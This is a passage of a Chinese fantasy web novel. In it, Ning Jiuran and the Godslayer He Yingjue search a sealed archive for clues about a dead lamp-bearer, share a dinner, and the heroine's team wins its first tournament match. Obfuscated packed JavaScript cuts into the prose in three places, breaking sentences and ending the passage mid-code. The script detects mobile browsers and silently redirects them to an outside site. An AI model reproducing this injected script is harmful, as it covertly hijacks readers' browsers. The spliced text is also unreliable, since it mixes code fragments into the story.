宁九燃没有半点退缩,直直地看着赫应决:“赫大人,常清做了十几年的提灯人,会蠢到因为跟一个普通人有纠葛就去投靠伪神教吗?” “而且——”宁九燃接着说,“她就算想要报复社会,在平海那种小地方弄辆列车有什么效果?有血月引黑雾的本事,怎么不来请神城附近呢?” 赫应决抬手托着下巴,身体微微前倾:“所以你觉得?” 宁九燃斩钉截铁地说:“她的动机肯定不是这样。” 赫应决:“可是档案里的结案报告也是这么写的,你想看什么?” 宁九燃:“所有细节,所有跟她有关的细节。” 她看着赫应决,知道自己其实在赌。 作为请神司乃至联邦的守护神,赫应决是绝对不可能做出任何不利于请神司的事的。 她赌的是,赫应决对守护和忠诚的理解。 片刻后,赫应决站起来走到她身边:“好。” 宁九燃露出笑容:“那我是等您给我……拿过来吗?” 赫应决有进请神司档案室的权限,她可没有。 “不用,我带你过去。”赫应决在宁九燃发愣的瞬间搭上她的手,光门一开,两人直接穿了进去。 宁九燃眼前一晃,就已经站在了档案室内。 档案室非常符合请神司的风格,整个空间大概有七八米高,横向被一道道泛着流光的门隔开,以门为中心延展开流动的光罩,外面只能看见里面影影绰绰的架子。 宁九燃和赫应决就站在所有隔间外侧的通道里,通道比较窄,两个人挨得很近。 宁九燃意识到自己的肩膀贴在赫应决的手臂上,连忙侧身分开,然后四处看看:“赫大人,这种地方你也能建立通道啊?” 赫应决注意到她的动作,也往旁边靠了一点:“我拥有请神司除司主外的最高权限,建个通道怎么了?” “我有点没想到,请神司保管档案的方法这么原始呢。”宁九燃透过流动的光罩,可以隐约看见架子上放的是一个个盒子。 赫应决示意她跟上后往前走,边走边说:“再先进的科技也有缝隙,但是神力禁制就没有,因为人力永远无法与神力抗衡。这种储存方法能够完全杜绝泄漏的可能,除非……” “除非什么?”宁九燃跟在他身后,接着话头问。 赫应决脚一顿,站住不动,还在好奇提问的宁九燃没来得及反应,一下子撞在他身上。 “除非……”赫应决低头看她,“除非有权限的人主动泄密,就像现在这样。” 宁九燃深知此人美貌的威力,所以一撇头,无效化这波攻击,说:“诶,话怎么能这么说?您是堂堂弑神者,我呢是请神司的提灯人,四舍五入也能算是您麾下的提灯人,您还是我的靠山,所以我们是自己人,自己人怎么能是泄密呢?” 赫应决听了这串明明毫无逻辑,但生生被宁九燃讲出道理的废话,觉得自己再不让她看档案,她大约要跟凤凰一样给他写篇论文出来。 赫应决:“抓住我的手。” 宁九燃一愣:“什么?” 赫应决看了眼她的表情,说:“要想跟我一起进禁制,必须要有皮肤的直接接触,不然你今天要么进不去,要么走不了。” 怎么还有这种—— 宁九燃低下头,看着赫应决的手。 赫应决见她没动,刚想说:“那就算了……” 手就被人一握,掌心传来温热。 ——这种好事呢! 宁九燃在他话音落下之前毫不犹豫地握上他的手。 本来就是她有求于赫应决,而且这人如此美貌,握个手绝对是她稳赚不赔的呀。 她刚刚只是在想赫应决是不是认真的,毕竟之前跟凤凰闲聊的时候,凤凰说他有洁癖来着。 赫应决的手不着痕迹地僵了一下,然后拉着宁九燃打开了面前的门走了进去,两人顺利穿过了禁制。 宁九燃跟在他后面,正盯着他的手看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684000|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赫应决的手非常漂亮,骨节分明,白皙修长,掌心的温度似乎比常人要低,触感像是一块冰凉的玉。 怎么会有人的手这么凉? 宁九燃边想,手指不经意间在赫应决的掌心微微摩挲了下。 前面的赫应决突然停住脚步,说了声:“别乱动!” 宁九燃一脸无辜:“我没乱动啊。” 赫应决的脸色复杂了一瞬,然后从面前的架子上拿下一个方方正正的盒子递给她:“这就是常清的全部档案,你赶紧看吧。” 宁九燃拉着他的手举起来:“那现在能松开吗?” 赫应决:“松开之后,你就会被弹出去,然后被抓起来。” 宁九燃立刻抓得更紧了些,左手抱着盒子发现一只手打不开,想了想,拽着赫应决跟她一块蹲下来,把盒子放在地上打开。 赫应决被突如其来的拉力拽得一个踉跄,相当无奈地俯下身,单膝半蹲在她身侧。 宁九燃认真地翻着档案盒,盒子里有常清非常详细的基本信息,13个摄形晶,还有她留下来的一些东西。 宁九燃觉得蹲着难受,干脆盘腿坐了下来,单手飞快翻着资料,神情极其专注。 赫应决被她拽得更低了些,腿的长度不允许他继续优雅地半蹲着。内心挣扎了十几秒后,赫大人用神力外放清除了地面的灰尘,“降尊纡贵”地坐了下来。 基本信息没问题,摄形晶里的内容也都看不出什么…… 宁九燃拧着眉头,翻开最后一份档案,这是常清入职平海分司之后所有的经办案件和出勤信息。 赫应决靠在背后的架子上看着她,幽幽地开口:“你这一目十行的,能找到什么?” 宁九燃正被那些字弄得眼花缭乱:“别吵。” 赫应决:“……” 已经这么大胆了吗?刚刚那个求人办事的态度呢…… “诶!你看这,这里有三个月的出勤记录是空的!”宁九燃突然有了发现,一手拉过赫应决,一手指出文件上的异常之处,“你看!” 被呼来喝去的赫应决发觉眼前这人极其投入,并没有发现自己支配上司的行为又什么不妥,只能配合地去看她指的地方,扫了眼说道:“嗯,怎么了吗?” 宁九燃说:“我当初准备考核的时候背过提灯人守则,虽然是考前突击的,记不住太多。但有一条我印象很深刻,除了联邦法规定的休息日,提灯人必须报备个人行程。所以不可能有这么长的空白。” 赫应决回忆了下,点头:“是有这么回事。” 宁九燃:“所以这里肯定不对劲。” 赫应决:“那你也得不出什么实质性的结论呀。” 宁九燃没接话,突然想到了什么,手心冒出火焰直接卷上了盒子。 赫应决慢了一拍,拦她:“你干什么?” 宁九燃收回火焰,整个盒子和所有物品完好无损,但是有一簇细小的几乎快要消散的黑色,慢慢从盒子里的一个别针上浮出来。 两人一怔。 宁九燃顿了两秒,开口:“赫大人,我的火焰可以显现黑雾留存的痕迹。” 他们都知道,黑雾是无法寄生在非活体之上的,而这枚别针上有黑雾的痕迹,只能说明它曾长时间接触黑雾,换言之,曾有一个污染者曾长期佩戴这枚别针。 所以—— 他们对视一眼。 ——常清是污染者,或者说,曾经是污染者! 31. 第31章 宁九燃拿起别针认真看了看,随后问:“赫大人,你可以查到这段空白期所有特殊医院的污染者档案吗?” 赫应决手腕上的个人终端一亮:“凤凰,查一下,新纪历2184年,7月到10月,所有注册的特殊医院的污染者档案,按照常清的所有特征去查,可以适当扩大范围。” “好的,大人。”凤凰应道。 两分钟后,凤凰再次出声:“大人,已按照您的要求对这一时间段所有的污染者档案进行针对性筛查,发现并无名为常清的污染者,但有一个名为陈浊的污染者与常清的信息重合度最高,我已经将她的档案发到您的个人终端。” 赫应决打开档案,宁九燃凑过来看:“这……除了名字都对得上啊。” 她边说边上手给档案翻页:“陈浊,轻度污染者,症状表现为黑色脉络,无失控症状……九月二十七号完全治愈出院……九月二十七……” 宁九燃顿了下,伸手拿来刚刚看过的一份信息,指着上面的一行日期说:“如果这个人就是常清,那么就有很大问题了,提灯人被黑雾污染后,就算完全治愈,也有一年的观察期,在这一年内不得进入一线。但是——” 赫应决看向她指的地方。 “常清在出院的的第二个月就直接升任外勤六组组长,正常出勤所有的特能案件。”宁九燃说,“赫大人,这么显而易见的问题,您现在相信我说的话了吗?” 赫应决没有立刻出声,指尖在档案上搭了搭,说:“你是怎么想到要查黑雾痕迹的?” 宁九燃没想到他会突然这么问。 赫应决见她不说话,靠近了些,继续说:“宁九燃,你有事瞒着我。” 宁九燃:这人到底长了几个心眼…… “好吧,我今天在街上,见到了一个污染者,他的脖子上出现了一个印记,曾经也在常清的脖子上出现过,所以我才会把他们联系起来查。”宁九燃说。 赫应决:“你为什么这么执着于常清这个案子?” 宁九燃:“因为有人借着这个事算计我,我不接受。” “好啦。”宁九燃又开口,“我也查完了,剩下的暂时没有头绪。赫大人,我们回去吧?” 赫应决看了眼被她放回盒子里的文件和东西,手一伸施展神技:“时逆。” 随着他话音落下,档案盒的时间开始倒流,所有东西回到宁九燃没有碰过之前的位置和样子,然后自己合上盖子,飞回架子的原位,一丝一毫都没有偏差。 就跟他们不曾来过一样。 宁九燃叹为观止:“赫大人,你这技能真让人眼馋,估计这档案室随便翻都不会有人发现。” 赫应决偏头看她:“我为什么要怕别人发现?我有档案室的全部权限。我这是为了让你不被发现。” 宁九燃笑笑:好好好,您权力大,您了不起…… “行了,走吧。” 宁九燃跟在赫应决后面出了这个隔间,然后立马松开手。 有一说一,握着弑神者的手这么久,多少还是有点负担的…… 赫应决也收回手,然后拉开光门,两人一起离开。 回到弑神殿之后,赫应决走到主座上坐下,继续翻阅之前没看完的文件。 宁九燃在原地转了两步之后,走到赫应决面前挤出一个笑脸:“赫大人,今天感谢您,我可以走了吗?” 赫应决没抬头,笔尖在纸页上点了点:“我帮你这么大的忙,没有什么实质性的感谢吗?” 办成事准备溜走的宁九燃:这……怎么还有隐形消费呢…… 她的笑容凝固了几分:“赫大人,您想要……什么感谢啊?” 赫应决做出思考的样子,想了想,说:“之前答应帮我做一件事的,现在加一件。” 宁九燃立刻拒绝:“不行!” 这人坐地起价,傻子才会再签一张空白支票呢。 赫应决把脸靠在手背上,看着宁九燃:“那你告诉我伪神教主殿的位置,我过段时间收拾收拾,去跟尤里乌打个照面。” 宁九燃在心里翻了个白眼:打照面?是想打架吧…… 虽然伪神教是死是活我无所谓,但是现在我还需要血池水,不能让他真去端了伪神教。 “不行,你再换一个。” 赫应决微微蹙起眉:“这也不行,那也不行,宁九燃,你这感谢一点都不真诚啊。” 本来就没打算感谢您…… 宁九燃心里这么想,但还是怕这人下次不出手帮忙,毕竟今天这种事只有找他才会这么方便,还是得捧着:“你再说一个,说个合理的点吧大人,我肯定答应,好吧?” 赫应决抬眼盯着她,想了会,然后往后面一靠:“那你请我吃饭吧。” “啊?”正准备听某人狮子大开口的宁九燃一愣,顺口就说,“你这么有钱,还需要我请你吃饭?要不你请我算了?” 赫应决:“好,那我请你吃饭。” 宁九燃刚刚那句话纯粹是以为赫应决在开玩笑,就随便接了句,但现在看来他居然是认真的?! 见了鬼了。 宁九燃睁大眼睛靠近赫应决,认认真真地打量了他一下,语气犹疑地开口:“赫大人,你被夺舍了吧?” 赫应决听到如此荒谬的话倒也没生气,反问道:“你去问问,哪只恶鬼敢上我的身?” 好吧,看来从里到外都是货真价实的赫应决。 吃饭就吃饭,他请我我又不亏。 宁九燃点头:“好呀,那赫大人请我吃什么?” 赫应决:“你想吃什么?” 宁九燃还是相当有分寸:“我不挑的,就吃点赫大人您平时吃的就行。” 赫应决微微挑眉:“我平时吃的?凤凰,拿给她看看。” 凤凰应声,操控一个小机器人从主殿边上的房间出来,滑到宁九燃面前,双手像托盘一样伸出来,上面放了一块包装精致的营养膏和一瓶白色的营养液。 看着毫无食欲。 宁九燃觉得自己如果来一口,可能会对吃饭失去兴趣。 “大人您平时就吃这种东西?” 凤凰从微表情分析出了宁九燃的嫌弃,说道:“宁队长,这款营养液含有人类所需要的所有营养元素,能够迅速补充能量,且没有任何副作用,目前已经推出了三十六种口味,基础款的目前市价是六千联邦币一瓶。而这瓶是请神司特供给大人的特制款,有价无市。” 宁九燃打量了下这瓶营养液,心想:六千联邦币,有钱人好奢侈,而且好没品位。 “赫大人,我能不吃这个吗?” 赫应决一副早知如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704360|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情,转头对凤凰说:“凤凰,你去准备一下吧。” 凤凰应声飞入里间。 赫应决伸手转动桌边的一个转扭,整个殿内慢慢亮了起来,他指向右侧的会客区:“你可以坐到那休息会。” 宁九燃没有走向会客区,而是绕着整个殿内区域转了一圈,然后绕回到赫应决面前,左右看了看,一副欲言又止的样子。 赫应决:“有话就说。” 宁九燃清清嗓子,先开夸:“赫大人,这殿内的设计很高级呀,你的审美原来很不错。” 赫应决抬头看她,直觉告诉他,宁九燃不会单纯夸他。 “那你审美这么好,为什么——我趁凤凰不在才问的,”宁九燃靠得近了些,压低声音,一个积压已久的问题终于说出口,“为什么凤凰会设计得这么丑啊?它除了尾巴,哪里像……像凤凰了?” 赫应决:我就知道…… 这时,殿内四面八方响起凤凰的声音,人工智能的机械音甚至带了几分委屈:“宁队长,整个弑神殿都接入了我的系统,我并没有离开。很抱歉我的外观没能给您带来愉快的体验。” 宁九燃心中直呼失策,她其实觉得凤凰挺可爱的,只是单纯想用这个来损下赫应决,天知道这款高级的人工智能遍布弑神殿啊! “那个,凤凰,我不是说你哈,其实你挺可爱的。”宁九燃连忙找补,“我没有不喜欢你的意思,我只是……只是想说……” “她只是想说我审美差。”赫应决接话。 宁九燃抿住嘴,心想:还是颇有自知之明的。 “不过,这不能怪我。”赫应决低声说了句,就低头继续批阅文件了。 宁九燃没听清,但也没继续问了,在一边的沙发上坐下。 大约半个小时后,凤凰引导他们到餐厅就餐。 宁九燃看着满桌色香味俱全的菜品,觉得中午吃的那顿花里胡哨的饭顿时黯然失色。 她和赫应决面对面坐下,赫应决伸手示意她可以用餐。 宁九燃也没跟他客气,该吃吃该喝喝。她一边吃一边观察赫应决,觉得他确实是大家族出来的,吃相非常优雅好看,相当下饭。 过了会,宁九燃把嘴里的火腿脆片吞下去,开始拉话题:“诶,大人,你跟司道大人熟吗?” 见赫应决没吭声,宁九燃继续说:“你们不是一起参加过提灯人大赛还夺冠了吗?那肯定关系不错的吧?” 赫应决慢条斯理地放下红酒杯:“宁九燃,你是在跟弑神者聊八卦吗?” 这人……脸怎么说变就变? 宁九燃套话失败,相当不甘心地喝了口蘑菇汤,想了想,决定出个险招。 她咽下汤,开口问:“赫大人,那你知道司道大人是怎么死的吗?” 一问完,她立刻紧盯着赫应决的神色变化。 但赫应决只是慢慢放下刀叉,抬眼看她,神情跟平时没什么两样,但是眼神暗了点。 他说:“你对司道很好奇吗?” “也……也不是。”宁九燃低下头,眼珠一转,“我只是崇拜司道大人,她可是我的偶像!粉丝的心理你懂吗?我就是想多打听些跟她有关的事!” 说完,宁九燃抬起头,发现赫应决正似笑非笑地看着她,听不出什么语气:“那你崇拜的人可真多。” 32. 第32章 宁九燃安静了,开始埋头苦吃,心里盘算着下次请他吃饭得下点哑药。 吃完饭后,赫应决拉开光门让她回去。 在进去前,宁九燃脚步一顿,转头问赫应决:“赫大人,你觉得我们队有可能拿冠军吗?” 赫应决看着她,没有直接回答这个问题:“先进决赛吧,然后我再给你答案。” 宁九燃冲他比了个OK的手势,转身穿进了光门,眨眼间就回到了公寓的客厅,然后就对上四双等待已久的眼睛。 “哈喽……啊?”宁九燃举起爪子挥了下,“你们吃了吗?” 人在心虚的时候容易说废话。 “燃姐,你没事吗?”路嘲风先出声。 辰刻也接着问:“弑神者为什么又找你?找你做什么?” 林珰珰和姜滚晁也看着她。 路嘲风居然没跟他们说是我主动找的赫应决?那这就不难解决了。 宁九燃在沙发上坐下说:“没什么大事,就是上次在平海他不是知道我受黑雾影响小吗?所以找我过去配合他研究一下,没事没事。” 说完,她悄悄给路嘲风递了个肯定的眼神。 “姐姐,弑神者虽然确实是联邦的守护神,但他……他手下有太多亡魂,杀气太重,而且都说他喜怒无常还残忍暴戾。”林珰珰缓了口气,继续说,“姐姐,你还是离他远一点吧,太危险了。” 喜怒无常倒是真的…… 宁九燃应道:“放心,我有分寸的。明天就是大赛开幕了,大家今晚早点休息吧,我先回房间啦。” 说完,她冲大家笑笑,然后上楼进了房间。 宁九燃关上门之后,感觉房间内有点冷,一看发现书桌那边的窗户是开着的。 她走过去关上窗,低头却看见桌面上放了一个漂亮的盒子。盒子上有几个打印体的字: 送给宁队长。——凤凰 宁九燃打开盒子,里面是一块精致的巧克力蛋糕,上面还有一支翻糖做的蜡烛。 “送我小蛋糕?”宁九燃拿起叉子,疑惑地坐下来,“又不是我生日,给我蛋糕干嘛?凤凰……人工智能还能有自主意识?赫应决在搞什么鬼?” 下毒了?应该不至于吧?他要想杀我倒也不必如此婉转曲折…… 宁九燃想了想,下定决心挖了一口放进嘴里。 浓郁的巧克力香慢慢化开,再配上绵密柔软的蛋糕,居然还很好吃。 “这人……还是挺有品位的,就是做事风格太诡异。” 宁九燃勉为其难地在心里夸了赫应决一句。 吃完蛋糕后,宁九燃洗漱完躺在床上,翻看让包吉利帮她搜集到的其他参赛队伍的资料。 目前,在外界的眼里,他们平海分司代表队可能根本就上不了台面。所以开场遇到的对手大概率会轻敌,她必须充分利用这一点,让队伍以最小的损耗拿到最多的积分。 看了一个小时的资料,宁九燃盘腿坐在床上,开始运转体内的神力。 以火鹤神格目前的层级,最多只能应付完初赛,她必须尽快提升。不过好在借着九凤神格的底子,她的修习速度远超常人。 第二天一早,五人就收拾好,前往坐落在请神城中心的主赛场参加大赛开幕式。 请神城的主赛场修建得非常高级,而且每届提灯人大赛就会重修一次,风格也与时俱进。 主赛场的中间是圆形的比赛场地,四周环绕的是看台,作为全联邦最高规格的提灯人大赛,所有的观赛门票都是开票即空,场场爆满。 赛场的四周有用高级的全息投影技术呈现的神格原形,而最大的则是分列在请神灯两侧的四大家族主系神格的影像。 宁九燃一行人跟随着队伍踏进场地。 “哇,这赛场建得真霸气!”路嘲风没忍住四面环顾,“在这打比赛也太爽了吧,还有这么多观众,我不会火吧?” “清醒点。”辰刻把他乱扭的头摆正,“先别想着火了,输了你可就灭了。” 宁九燃插话:“没事辰刻,你让他想,万一我们就火了呢,对吧?脚踏实地之外,我们还是要有期待的。” 路嘲风拼命点头:“燃姐说的对!” 等所有队伍按照安排的位置站好后,在赛场主位的高台上走出了大赛开幕的主持人,开始讲话。 宁九燃一向对这些场面话不感兴趣,开始打量那些坐在高台上的贵宾。 “诶,上面的就是四大家族的家主吗?” 宁九燃往后靠,贴着林珰珰说悄悄话。 高台上坐着四位气质不凡的人,身边都站着好几位穿着特定家族制服的随侍。 “那个……第一位最左边的,应该是帕拉帝安的家主。”林珰珰小声说。 “那边上呢?”宁九燃一眼就注意到了台上一位威严的女性家主,“她就是梵塞卓斯的家主吧?” 宁九燃虽然对四大家族了解不多,但对梵塞卓斯的女家主还是有所耳闻的。听说她二十一岁继任家主之位,在位六十年,生生在风雨飘摇之中将四大家族末流的梵塞卓斯托举了起来。 可谓是一代传奇。 “对。”林珰珰看向台上,应着,“是梵塞卓斯有史以来最伟大的家主。” 主持人说完词之后,又隆重介绍了到场的四位家主,还有请神司和联邦政府的各位到场高层。 宁九燃注意到那位厄莱克尔的家主与旁人不同,他和他的随侍上空有一个圆形的神器,阳光穿过神器就彻底消失,让底下的人能待在完全的阴影里。 她好奇地问:“厄莱克尔的家主为什么要用那个神器挡光呀?” 这个家族的人她见的很少,所以几乎完全不了解。 “那个是因为……”林珰珰刚开口,就听见主持人调高了音量:“最后,有请弑神者大人来宣布本届全联邦最高规格提灯人大赛开幕!” 赫应决?他来了? 宁九燃抬起头,就看一片巨大的阴影从头顶掠过,再看向高台时,赫应决已经站在了台上,暗色勾红的衣袂在风中翻飞。 而恢复本体大小的凤凰落在高台后的尖顶之上,展开庞大的机械翼,整个场地瞬间暗了一小半。 刚刚还有点喧嚷的赛场顿时鸦雀无声,安静过后,所有提灯人俯身:“弑神者大人!” 赫应决微微点头,暗红的眼眸扫视全场,开口道:“我宣布,全联邦最高规格提灯人大赛正式开幕!” 话音落下,四面八方燃起绚烂的神力烟火。 台上台下所有人齐声鼓掌。 又走了些流程之后,各代表队退回到休息区,台上用人工智能进行初赛抽签。 抽签结果出来半小时后,第一场比赛就开始了。 平海分司代表队第一轮的对手是藤合分司代表队,是第二场比赛,离比赛开始还有大概一个小时。 宁九燃五人来到独立的赛前休息区,在沙发上坐下。 “我们今天的对手也是一支来自小城的队伍,总体实力不太高,所以我们的目标是保存实力,减少上场人次。”宁九燃说完,看向路嘲风,“嘲风,查的怎么样了?” “等下……等下,搞定啦!”路嘲风点开个人终端的光屏,投在显示器上,“这是他们的资料,燃姐,你来吧。” 宁九燃点点头,站起身开始分析:“藤合分司代表队,五位参赛队员都在23到25岁之间,作战经验有概率会比我们丰富。他们特能大多偏向速度流,但是总体神力层级都较低,甚至有一位才开到两重神相,在实力差距之下,力量是速度的克星。所以——” 她顿了顿,将他们五个人的名字排好顺序:“我们的上场顺序是姜滚晁、宁九燃、路嘲风、辰刻还有林珰珰。最好的结果就是上场的人到我这为止,大家觉得怎么样?” 四人齐声应道:“没问题!” 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场上,荷泽开启神相,施展一重神技:“流光刺!”身形化作一道闪过的光,迅速刺向姜滚晁。 姜滚晁站在原地不闪不避,在他贴近的一瞬,神力陡然注入巨剑,抡起巨剑重重地拍了上去。 在泰坦绝对的力量之下,还只开出了一重神相的荷泽直接被拍出了场外。 宁九燃笑着看向路嘲风:“是一招。” 主持人高喊:“荷泽出界,第一轮,平海分司姜滚晁胜!” “我天,姜哥这么彪悍!神技都没用,生生给人拍出去了!”路嘲风目瞪口呆。 辰刻上来几步,说:“他们的神相层级和神格等级都有不小的差距,而且姜滚晁还有神骨,这样出其不意的打法可以节省神力,应对下面的比赛。” 接下来就如宁九燃所料,藤合代表队接着上场的几位队员也没能扛下姜滚晁泰坦神格的绝对力量,纷纷落败。 “姜滚晁胜!现在,平海分司代表队的姜滚晁已经连胜四轮,接下来面对的是藤合分司代表队的队长贺原天,如果他再取得胜利,将达成一穿五的成就,而贺原天队长又是否能拿下连续作战的姜滚晁呢?让我们拭目以待!” 主持人激情洋溢地说完,贺原天就走到了赛场上,他冲姜滚晁微微一点头,声音沉稳:“你很强,但没有人可以一直赢,我会为我的队员战胜你。” 姜滚晁挑眉,敷衍地致意了下,抡起巨剑表示可以开始了。 “比赛开始!” 贺原天显露神相,他没有像他的队员那样跟姜滚晁硬碰硬,而是借助速度优势穿梭在姜滚晁四周,东打一下,西刺一下,等姜滚晁进攻时,又迅速退开很远。 场边的宁九燃微微皱眉:“这个贺原天,身法很老练,神力跟滚晁差距也没那么远,可能没那么好对付。” 辰刻也观察着场上的情况:“他好像在消耗姜滚晁的神力,本来连轴转已经有一定的疲态了。” 宁九燃心中默想:可一定不要轻敌呀…… 这边,姜滚晁被贺原天的打法弄烦了,大吼一声:“有完没完了!” 神力暴涨将贺原天震退,贺原天有一定的预判,没有退开太远,眼神一沉,低声施展三重神技:“影杀。” 话音一落,他的身体沉入地面的影子,极速地流穿向姜滚晁。 姜滚晁也终于等到这一击,右拳凝聚神力,结出石头,重重地砸向即将靠近他的影子:“崩山重!” 而就在他的拳头砸中地面的那一瞬,身后一道浅些的黑影陡然出现。 “糟了!贺原天的影杀可以分身!”宁九燃低呼。 但已经来不及了,贺原天从姜滚晁背后的黑影里浮出,手中凝光直刺向姜滚晁:“千梭!” 他眼中发狠:你输定了,姜滚晁! 33. 第33章 姜滚晁的泰坦神格本就因为力量优势而在速度上有所缺失,而神技崩山重使用后更是在两秒内难以恢复身位。 贺原天观察了前四局,算准了这一点,在姜滚晁使用崩山重之后的2秒缓冲时间分身偷袭。 宁九燃呼吸一缓。 她不担心姜滚晁会输,她担心的是这个贺原天积了一肚子怒气,会出重手伤到姜滚晁。 但是现在都来不及了,就算替姜滚晁认输下场也来不及,贺原天的光刺已经逼近姜滚晁的后心,而他还没能转过身来。 宁九燃盯着场上的情况,准备马上让林珰珰等着给姜滚晁治疗。 然而下一秒,场上的情况出乎所有人的意料。 姜滚晁的身形忽的一闪,竟以不亚于贺原天的速度退开五六步,然后身形灵活的转过身,抡起巨剑对了上去。 贺原天完全没料到这种情况,但光刺已经来不及收住,面对面与姜滚晁的巨剑相撞。 二人在力量上本就实力悬殊,贺原天被撞得四肢发麻,踉跄地连退数步。 姜滚晁不准备再给他任何机会,高举巨剑,喝道:“泰坦陨星!” 无数巨石从空中结出,顺着巨剑所指的方向坠落砸去,贺原天拼尽全力也没能扛住第二块陨石,当场被砸出场外。 “姜滚晁胜!”主持人踩着飞行器滑到场中,“真是一场精彩的比赛!姜滚晁完成一穿五,平海分司代表队获胜!” 随着主持人声音落下,赛场四围的全息大屏上闪出了“平海分司代表队胜利”几个大字,随即又变换为他们五人的公式照。 观赛区虽然没什么观众认识他们,但也有不少起身给他们鼓掌。 正在姜滚晁退场的时候,被队友扶起来的贺原天冲到裁判席下申诉:“我要举报!姜滚晁犯规!他违规使用神器!” 为了公平起见,按照提灯人大赛的规定,所有参赛的提灯人禁止在场上使用任何神器,否则将取消本场比赛的成绩,并进行处罚。 “怎么回事?”辰刻走到宁九燃身边,“他刚刚的速度好像确实不对劲,他不会是用了你给他的那副腿甲吧?” 路嘲风在边上说:“感觉是的,不过如果不用,姜哥肯定得受伤,还是安全重要。” 宁九燃没出声,远远看向台上的姜滚晁,他正往裁判席走去,走到一半转过身冲她点了下头,脸上还带着点笑。 宁九燃会意,笑了,抬手拍拍辰刻和路嘲风:“放心吧,没有问题。” 辰刻和路嘲风一头雾水,就听见主裁在检查过姜滚晁的腿甲后作出裁定: “经裁定,平海分司代表队的姜滚晁,使用的腿甲和他的神骨同息同源,神力互通,属于神骨的一部分,而神骨是允许使用的,所以姜滚晁没有违规,成绩有效!” 贺原天和他的队员不甘心,还想跟主裁争执,主裁摆手示意结果已定。 姜滚晁背着巨剑回到场外,跟宁九燃他们一一击掌。 “不是,这是什么障眼法吗?”路嘲风压着声音悄悄地问,“那个怎么会是……神骨的一部分啊?” 姜滚晁说:“这得多亏队长。” 宁九燃笑笑:“我只是给你提供思路,还是靠你自己做到的。” “不是,什么意思呀?”路嘲风听不懂这俩人打哑谜,忙问。 宁九燃说:“这副腿甲与一般的神器不同,它是由一位已故的泰坦神格者的神骨打造。按照比赛规定,不得使用神器,但是可以使用神骨。所以我就教了滚晁一个特殊的秘法——连骨,让这个腿甲和他的神骨相连,成为神骨的一部分。” 辰刻听了之后,问:“连骨?我好像没怎么听说过。” “这是一个失传已久的秘法,非常难实现。首先,相同神格的神骨不好得吧?其实,在这个过程中要持续不断地用神力去刺激这个腿甲,尝试与它共感,不论是对神力控制还是对心性都是极大的考验。” 宁九燃跟他们一块顺着工作人员的指示退场,边走边说,“神力一旦控制不好,会受到本源神骨的反噬,这段时间滚晁一直很安静,就是时时刻刻都在做这件事。不过没想到,居然这么快就成功了!” “哇塞!太牛了!”路嘲风踮起脚来挽住姜滚晁的肩膀,“姜哥,你这太厉害了,我说你怎么最近老一个人安静地坐着,原来是在练大招!” 姜滚晁看着五大三粗,脸皮却薄,感到不好意思就开始挠头发:“我……也没有吧,就是想尽可能把他们都拿下,这样队长就不用上场了。” 林珰珰绕过宁九燃走到姜滚晁身边,踮起脚,小心翼翼地把手靠近他的额头,但姜滚晁实在太高,林珰珰只够得到他的下巴。 姜滚晁没反应过来,但也配合地弯下腰。 林珰珰双手结印,施展三重神技:“神明赐福。” 浅蓝色的光点如甘霖落下,洒在姜滚晁的额头。姜滚晁感觉自己消耗的神力正在快速恢复,身上的小擦伤也瞬间愈合,刚刚的疲惫一扫而空,整个人一下子精力充沛。 “这……这……”姜滚晁第一次感受陵鱼神格的治愈恢复能力,不知所措地举起双手看了看,“谢……谢谢。” 林珰珰摇摇头,声音轻柔:“不客气的,这是我应该做的。”然后退回到宁九燃身边,埋下头。 宁九燃笑着拍拍林珰珰,知道这对她的性格来说是很大的进步了:“小铃铛,我说吧,你的治愈神格用处可大了,我们不能没有你。” “对呀对呀!”路嘲风蹦着绕过来,凑到林珰珰身边,“铃铛妹妹,也给我来一下呗,我昨晚没睡好,今天都没精神。” 林珰珰还没说话,路嘲风就被宁九燃拍了回去:“一边去哈,不上场的没这待遇。” 路嘲风嗷了一声:“那我也想上场呀,燃姐!” “有的是机会。” “时间差不多,去吃饭吧?” “赛区的食堂好像很好吃!” “你又知道了?” …… 贵宾观赛区,独立包厢。 “赫队,这是那边关于姜滚晁的资料。”一个穿着格利烬坦家族服饰的人将文件递给站在单向玻璃前的人——格利烬坦代表队队长,也是格利烬坦少主,赫晟焕。 赫晟焕带着黑色皮质手套的手接过资料,走到一旁的沙发上坐下翻开:“对了,连奇,塔赤斯那个家伙最近在搞什么?没有又给我惹麻烦吧?” 连奇站在他边上,干笑了两声:“他最近天天追着帕拉帝安的少主,想跟他过招,可以说是无所不用其极。” 赫晟焕皱眉:“你拦着他点,别让他搞出乱子,那个卢西法是个光风霁月的君子,但也是惹着了也不好处理。” 连奇应声,随即问道:“赫队,你怎么突然要查这个姜滚晁呀?以那个藤什么队的实力,我们队里随便出个人都能一穿五,也没什么奇特吧。” “我觉得他很眼熟。”赫晟焕看着文件里姜滚晁的资料介绍,“好像在哪见过他。” “真假的?”连奇也凑上来看,“不就是一个小分司的提灯人吗?赫队你怎么可能见过?” 赫晟焕不喜欢别人挨着自己,抬手让他靠边点,然后说:“他今天的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 